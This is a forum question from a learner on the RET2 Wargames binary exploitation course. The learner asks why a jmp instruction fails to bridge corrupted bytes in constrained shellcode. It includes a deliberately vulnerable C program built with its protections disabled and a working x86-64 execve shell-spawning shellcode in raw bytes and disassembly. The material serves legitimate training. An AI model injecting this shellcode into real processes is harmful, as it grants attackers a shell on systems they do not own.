1

I am doing the RET2 Systems Binary Exploitation course Wargames (https://wargames.ret2.systems/) and am working on the shellcoding chapter. I am learning about how to use jmp assembly instructions to connect sections of shell code. When shell code is injected into a running program, the program may corrupt bytes. jmp instructions are meant to bridge over those corrupt parts.

This is the C program I am working with:

// gcc -g -I ../includes -O0 -z execstack -fno-stack-protector -no-pie -o splits splits.c
#include <stdio.h>
#include <string.h>

// Hidden for simplicty #include <wargames.h>

void main() { init_wargame();

printf(&quot;------------------------------------------------------------\n&quot;);
printf(&quot;--[ Shellcode - Constrained Shellcode                       \n&quot;);
printf(&quot;------------------------------------------------------------\n&quot;);

// Buffer to hold user input &amp; shellcode
char buffer[32] = {};
char shellcode[32] = {};   

// Oftentimes shellcode will enter a process as string
printf(&quot;Enter a string: &quot;);
fgets(buffer, sizeof(buffer), stdin);

// Constrain shellcode to be NULL-free
strncpy(shellcode, buffer, sizeof(shellcode));
memset(buffer, 0, sizeof(buffer));  

// Stomp over some shellcode (added constraints)
shellcode[16] = '\xff';
shellcode[17] = '\xe3';
shellcode[18] = '\xff';
shellcode[19] = '\xe7';

printf(&quot;Calling further constrained shellcode...\n&quot;);
((void (*)(void))shellcode)();

}

And this is the original assembly code:

Raw Bytes:
31F648BB2F62696E2F2F73685653545F6A3B5831D20F05

Python Escaped: "\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x31\xD2\x0F\x05"

Disassembly: 0: 31 f6 xor esi,esi 2: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f 9: 2f 73 68 c: 56 push rsi d: 53 push rbx e: 54 push rsp f: 5f pop rdi 10: 6a 3b push 0x3b 12: 58 pop rax 13: 31 d2 xor edx,edx 15: 0f 05 syscall

I am trying to figure out how to use the jmp instruction to bridge the corrupted parts. The following is what I have tried. I thought it would work because the instruction and the offset will be executed before the corruption begins (the execution of jmp $+7 starts at 0xe and I believe it will be executed before the corruption begins at 0x10). As you can see, I also deleted the 0xf line (pop rdi) - otherwise, the syscall would have gotten pushed back to 0x16. Additionally, as I understand it, "+7" would be a suitable amount of bytes to offset (because 0x15 - 0xe = 21 - 14 = 7).

Raw Bytes:
31F648BB2F62696E2F2F73685653EB056A3B5831D20F05

Python Escaped: "\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x56\x53\xEB\x05\x6A\x3B\x58\x31\xD2\x0F\x05"

Disassembly: 0: 31 f6 xor esi,esi 2: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f 9: 2f 73 68 c: 56 push rsi d: 53 push rbx e: eb 05 jmp 15 <_main+0x15> 10: 6a 3b push 0x3b 12: 58 pop rax 13: 31 d2 xor edx,edx 15: 0f 05 syscall

I have been wracking my brain and trying different offsets, and placing jmp at different locations but with no luck unfortunately. Ideally, I would still like to figure this level out by myself. I am mainly curious right now about where my misunderstanding about jmp instructions lies. Can someone help point this out to me?

Aaron
  • 111
  • 1

0 Answers0